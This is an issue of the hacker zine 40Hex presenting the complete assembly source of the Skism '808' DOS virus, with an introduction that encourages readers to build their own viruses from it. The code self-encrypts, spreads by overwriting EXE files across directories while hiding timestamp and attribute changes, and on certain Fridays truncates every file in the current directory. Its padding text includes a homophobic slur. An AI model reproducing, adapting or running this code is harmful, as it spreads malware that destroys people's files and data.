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- ; 40Hex Volume 1 Issue 2 0010
- ;
- ; The 808 Virus
- ;
- ; Here another virus from Skism. It's a quick overwriting virus but
- ; you can use the source code to write your own viruses.
- ;
- ; ------------------------------------------------------------------------------
- ;
- ;The Skism 808 Virus. Created 1991 by Smart Kids Into Sick Methods.
- filename EQU 30 ;used to find file name
- fileattr EQU 21 ;used to find file attributes
- filedate EQU 24 ;used to find file date
- filetime EQU 22 ;used to find file time
- code_start EQU 0100h ;start of all .COM files
- virus_size EQU 808 ;TR 808
- code segment 'code'
- assume cs:code,ds:code,es:code
- org code_start
- main proc near
- jmp virus_start
- encrypt_val db 00h
- virus_start:
- call encrypt ;encrypt/decrypt file
- jmp virus ;go to start of code
- encrypt:
- push cx
- mov bx,offset virus_code ;start encryption at data
- xor_loop:
- mov ch,[bx] ;read current byte
- xor ch,encrypt_val ;get encryption key
- mov [bx],ch ;switch bytes
- inc bx ;move bx up a byte
- cmp bx,offset virus_code+virus_size
- ;are we done with the encryption
- jle xor_loop ;no? keep going
- pop cx
- ret
- infectfile:
- mov dx,code_start ;where virus starts in memory
- mov bx,handle ;load bx with handle
- push bx ;save handle on stack
- call encrypt ;encrypt file
- pop bx ;get back bx
- mov cx,virus_size ;number of bytes to write
- mov ah,40h ;write to file
- int 21h ;
- push bx
- call encrypt ;fix up the mess
- pop bx
- ret
- virus_code:
- wildcards db "*",0 ;search for directory argument
- filespec db "*.EXE",0 ;search for EXE file argument
- filespec2 db "*.*",0
- rootdir db "\",0 ;argument for root directory
- dirdata db 43 dup (?) ;holds directory DTA
- filedata db 43 dup (?) ;holds files DTA
- diskdtaseg dw ? ;holds disk dta segment
- diskdtaofs dw ? ;holds disk dta offset
- tempofs dw ? ;holds offset
- tempseg dw ? ;holds segment
- drivecode db ? ;holds drive code
- currentdir db 64 dup (?) ;save current directory into this
- handle dw ? ;holds file handle
- orig_time dw ? ;holds file time
- orig_date dw ? ;holds file date
- orig_attr dw ? ;holds file attr
- idbuffer dw 2 dup (?) ;holds virus id
- virus:
- mov ax,3000h ;get dos version
- int 21h ;
- cmp al,02h ;is it at least 2.00?
- jb bus1 ;won't infect less than 2.00
- mov ah,2ch ;get time
- int 21h ;
- mov encrypt_val,dl ;save m_seconds to encrypt val so
- ;theres 100 mutations possible
- setdta:
- mov dx,offset dirdata ;offset of where to hold new dta
- mov ah,1ah ;set dta address
- int 21h ;
- newdir:
- mov ah,19h ;get drive code
- int 21h ;
- mov dl,al ;save drivecode
- inc dl ;add one to dl, because functions differ
- mov ah,47h ;get current directory
- mov si, offset currentdir ;buffer to save directory in
- int 21h ;
- mov dx,offset rootdir ;move dx to change to root directory
- mov ah,3bh ;change directory to root
- int 21h ;
- scandirs:
- mov cx,13h ;include hidden/ro directorys
- mov dx, offset wildcards ;look for '*'
- mov ah,4eh ;find first file
- int 21h ;
- cmp ax,12h ;no first file?
- jne dirloop ;no dirs found? bail out
- bus1:
- jmp bus
- dirloop:
- mov ah,4fh ;find next file
- int 21h ;
- cmp ax,12h
- je bus ;no more dirs found, roll out
- chdir:
- mov dx,offset dirdata+filename;point dx to fcb - filename
- mov ah,3bh ;change directory
- int 21h ;
- mov ah,2fh ;get current dta address
- int 21h ;
- mov [diskdtaseg],es ;save old segment
- mov [diskdtaofs],bx ;save old offset
- mov dx,offset filedata ;offset of where to hold new dta
- mov ah,1ah ;set dta address
- int 21h ;
- scandir:
- mov cx,07h ;find any attribute
- mov dx,offset filespec ;point dx to "*.COM",0
- mov ah,4eh ;find first file function
- int 21h ;
- cmp ax,12h ;was file found?
- jne transform
- nextexe:
- mov ah,4fh ;find next file
- int 21h ;
- cmp ax,12h ;none found
- jne transform ;found see what we can do
- mov dx,offset rootdir ;move dx to change to root directory
- mov ah,3bh ;change directory to root
- int 21h ;
- mov ah,1ah ;set dta address
- mov ds,[diskdtaseg] ;restore old segment
- mov dx,[diskdtaofs] ;restore old offset
- int 21h ;
- jmp dirloop
- bus:
- jmp rollout
- transform:
- mov ah,2fh ;temporally store dta
- int 21h ;
- mov [tempseg],es ;save old segment
- mov [tempofs],bx ;save old offset
- mov dx, offset filedata + filename
- mov bx,offset filedata ;save file...
- mov ax,[bx]+filedate ;date
- mov orig_date,ax ;
- mov ax,[bx]+filetime ;time
- mov orig_time,ax ; and
- mov ax,[bx]+fileattr ;
- mov ax,4300h
- int 21h
- mov orig_attr,cx
- mov ax,4301h ;change attributes
- xor cx,cx ;clear attributes
- int 21h ;
- mov ax,3d00h ;open file - read
- int 21h ;
- jc fixup ;error - find another file
- mov handle,ax ;save handle
- mov ah,3fh ;read from file
- mov bx,handle ;move handle to bx
- mov cx,02h ;read 2 bytes
- mov dx,offset idbuffer ;save to buffer
- int 21h ;
- mov ah,3eh ;close file for now
- mov bx,handle ;load bx with handle
- int 21h ;
- mov bx, idbuffer ;fill bx with id string
- cmp bx,02ebh ;infected?
- jne doit ;same - find another file
- fixup:
- mov ah,1ah ;set dta address
- mov ds,[tempseg] ;restore old segment
- mov dx,[tempofs] ;restore old offset
- int 21h ;
- jmp nextexe
- doit:
- mov dx, offset filedata + filename
- mov ax,3d02h ;open file read/write access
- int 21h ;
- mov handle,ax ;save handle
- call infectfile
- ;mov ax,3eh ;close file
- ;int 21h
- rollout:
- mov ax,5701h ;restore original
- mov bx,handle ;
- mov cx,orig_time ;time and
- mov dx,orig_date ;date
- int 21h ;
- mov ax,4301h ;restore original attributes
- mov cx,orig_attr
- mov dx,offset filedata + filename
- int 21h
- ;mov bx,handle
- ;mov ax,3eh ;close file
- ;int 21h
- mov ah,3bh ;try to fix this
- mov dx,offset rootdir ;for speed
- int 21h ;
- mov ah,3bh ;change directory
- mov dx,offset currentdir ;back to original
- int 21h ;
- mov ah,2ah ;check system date
- int 21h ;
- cmp cx,1991 ;is it at least 1991?
- jb audi ;no? don't do it now
- cmp dl,25 ;is it the 25th?
- jb audi ;not yet? quit
- cmp al,5 ;is Friday?
- jne audi ;no? quit
- mov dx,offset dirdata ;offset of where to hold new dta
- mov ah,1ah ;set dta address
- int 21h ;
- mov ah,4eh ;find first file
- mov cx,7h ;
- mov dx,offset filespec2 ;offset *.*
- Loops:
- int 21h ;
- jc audi ;error? then quit
- mov ax,4301h ;find all normal files
- xor cx,cx ;
- int 21h ;
- mov dx,offset dirdata + filename
- mov ah,3ch ;fuck up all files in current dir
- int 21h ;
- jc audi ;error? quit
- mov ah,4fh ;find next file
- jmp loops ;
- audi:
- mov ax,4c00h ;end program
- int 21h ;
- ;The below is just text to pad out the virus size to 808 bytes. Don't
- ;just change the text and claim that this is your creation.
- words_ db "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
- words2 db " Dont alter this code into your own strain, faggit. ",0
- words3 db " HR/SSS NYCity, this is the fifth of many, many more....",0
- words4 db " You sissys.....",0
- main endp
- code ends
- end main
- ------------------------------------------------------------------------------
- HR
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